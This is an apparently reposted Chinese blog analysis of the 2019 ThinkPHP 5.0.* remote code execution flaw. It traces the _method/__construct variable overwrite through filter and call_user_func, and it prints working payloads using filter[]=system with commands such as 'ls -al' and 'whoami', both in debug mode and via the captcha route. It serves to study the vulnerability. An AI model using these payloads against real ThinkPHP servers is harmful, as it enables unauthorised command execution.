ThinkPHP request函数远程代码执行

栏目: PHP · 发布时间: 6年前

内容简介:2019年1月11日爆了一个thinkphp 5.0.*远程rce的漏洞,跟进学习一下。根据ThinkPHP的补丁发现,修复部分在

2019年1月11日爆了一个thinkphp 5.0.*远程rce的漏洞,跟进学习一下。

0x02 漏洞分析

根据ThinkPHP的补丁发现,修复部分在 library/think/Request.php 文件中。

ThinkPHP request函数远程代码执行

漏洞的修复点是 method 这个函数,我们可以逆这回去看看,哪里调用了这个函数,相关调用方法出现在 library/think/Request.php:541-603isGetisPostisPutisDeleteisHeadisPatchisOptions 中,也就是说实际上这个函数会在判断请求方式的时候进行调用。

ThinkPHP request函数远程代码执行

从修复代码来看,漏洞触发点应该是下图中 第8行-第9行 这个部分。

ThinkPHP request函数远程代码执行

第8行代码有个 var_method 常量,这个常量的定义在 application/config.php 文件中, var_method 对应的值是 _method

ThinkPHP request函数远程代码执行

也就是说,如果我们通过POST方式传入 _method=xxx 的情况下,代码会将xxx转换为大写并赋值给 $this->method 。然后 第9行 调用 $this->{$this->method}($_POST) ,也就是调用 $this->XXX($POST) ,这就说明了攻击者在这个地方首先调用的函数可控,其次传入的数据也可控。

根据已知payload,这里的 _method=___construct ,也就是说 ___construct 函数也有问题,跟进一下 ___construct 函数,函数位置在 library/think/Request.php:135-148 中。

protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

对传入的 $options 数组进行遍历,然后 第4行 调用了 property_exists 进行判断, property_exists 函数的作用是检查对象或类是否具有该属性,也就是说当 $options 的键名为该类属性时,则将该类同名的属性赋值为 $options 中该键的对应值。这里 第8行 代码中针对 $this->filter 进行了判断,如果不存在,让其等于 Config::get(‘default_filter’) 的结果,而 default_filter 定义在 application/config.php:44 中,其值默认为空。

ThinkPHP request函数远程代码执行

而filter存放的是全局过滤规则。

ThinkPHP request函数远程代码执行

所以核心关键在于 method 这个函数在 POST 方法下可控,所以这里需要全局搜索一下除了那些http请求类型定义以外,还有哪里调用了这个函数,在 library/think/Request.php:634-661 调用了这个函数。

ThinkPHP request函数远程代码执行

我们看到如果 $this->mergeParam 为空的情况下,调用 $this->method(true) ,而 true === $method 情况下调用的是 server(‘REQUEST_METHOD’)

if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';

跟进 server 函数,函数实现在 library/think/Request.php:862 ,这里的 $name 实际上就是 REQUEST_METHOD

public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

经过处理之后,最后会调用 $this->input 函数进行处理,跟进 input 函数,函数位置在 library/think/Request.php:999 ,这里 第10行 代码调用 getFilter 函数获取过滤器。

ThinkPHP request函数远程代码执行

跟进一下 getFilter 函数,这里的 $filter=’’ ,而 $default=null

protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

所以这里的代码会运行到 第6行 ,进行三元运算,也就是说最终 $filter 会被赋值给 $this->filter ,最后返回 $filter

紧接着判断$data是否是数组,然后调用 filterValue 函数进行处理。

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}

跟进 filterValue 函数,在 第7行 看到了一个熟悉的函数 call_user_func ,而 $filter$value 均可控。

ThinkPHP request函数远程代码执行

也就是说最后我们需要找到自动触发调用param()函数的地方即可,而在原生 thinkphp 框架下,文件位置在 library/think/App.php:126 ,也就是说原生框架的情况下,如果开启了debug模式,可以直接命令执行。

ThinkPHP request函数远程代码执行

0x03 动态调试

payload如下所示:

public/index.php?s=captcha

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

在开启 debug 状态之后,在 param 下一个断点 _method=__constructfilter[]=system

server[REQUEST_METHOD]=whoami

ThinkPHP request函数远程代码执行

跟进param函数。

ThinkPHP request函数远程代码执行

跟进method函数。

ThinkPHP request函数远程代码执行

跟进server函数,这里input的函数输入分别是

name=REQUEST_METHOD
default=null
filter=""
this->server=REQUEST_METHOD=whoami

ThinkPHP request函数远程代码执行

跟进input函数中getFilter函数,处理结果返回filter数组,其中filter[0]=system。

ThinkPHP request函数远程代码执行

$data 就是我们刚刚的 $this->server ,对应的值也就是whoami,而 filter[0]=system

ThinkPHP request函数远程代码执行

跟进filterValue函数,最后成功运行了。

ThinkPHP request函数远程代码执行

0x04 扩展

由于正式系统的情况下,使用debug模式的很少,因此需要找一下不需要debug模式下触发点,而漏洞发现者的思路有点像之前 ThinkPHP 远程代码执行那个思路。

payload:

public/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

直接动态调试吧,漏洞调用链是这样的。

ThinkPHP request函数远程代码执行

先看看 app.php:139 位置,其中var_pathino 默认值为s,也就是说我们通过 s 参数注册了一个 \think\captcha\CaptchaController 的路由,至于为什么会是这样,可以翻一翻我之前的 Thinkphp-5-0远程代码执行漏洞 ,里面针对路由怎么调用进行了详细的说明。

ThinkPHP request函数远程代码执行

而在 vendor/topthink/think-captcha/src/helper.php 文件中针对captcha这个功能进行了路由注册,所以才能够调用。

ThinkPHP request函数远程代码执行

而这里的返回type为什么是method,需要考究一下。在 app.php:116 处的 routeCheck 函数处下一个断点,跟进 routeCheck ,在 thinkphp/library/think/App.php:643 处调用 check 函数,跟进 check 函数 thinkphp/library/think/Route.php:857 调用了 method 函数。而 method 函数之前我们说过存在变量覆盖的问题,通过覆盖之后使得 $method=get ,然后再取出 self::$rules[\$method] 的值给 $rules

ThinkPHP request函数远程代码执行

然后继续往下走 thinkphp/library/think/Route.php:873 ,此时使得 $rules[$item] 的值为captcha路由数组,就可以进一步调用到 self::parseRule 函数。

ThinkPHP request函数远程代码执行

跟进一下此时传递进来的 $route 的值为 \think\captcha\CaptchaController@index ,经过处理之后 routeCheck 函数处理之后 type=method

ThinkPHP request函数远程代码执行

前面我们传入的 typemethod ,所以进入到 app:exec() 中,会选择 method 这个 case 进行逻辑处理,而这个 case 正好调用了 param 这个函数,那么后面的流程自然就和 0x02部分 一样了。

ThinkPHP request函数远程代码执行

0x05 总结

目前来看,漏洞触发需要两个前置条件,一种情况下如果采用thinkphp原生框架,需要在debug模式下才能够触发。另一种情况是找到一些第三方组件,并且该组件注册了thinkphp的路由,因为这步操作的影响就是改变了上文提到的 self::$rules 的值,而thinkphp自带的一些第三方组件下,好像也只有captcha这个组件,学习了。

和同事在讨论过程中,发现下面这个poc用来验证比较准确点。

public/index.php?s=captcha

_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=this_is_a_test

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First Web Design

Head First Web Design

Ethan Watrall、Jeff Siarto / O’Reilly Media, Inc. / 2009-01-02 / USD 49.99

Want to know how to make your pages look beautiful, communicate your message effectively, guide visitors through your website with ease, and get everything approved by the accessibility and usability ......一起来看看 《Head First Web Design》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具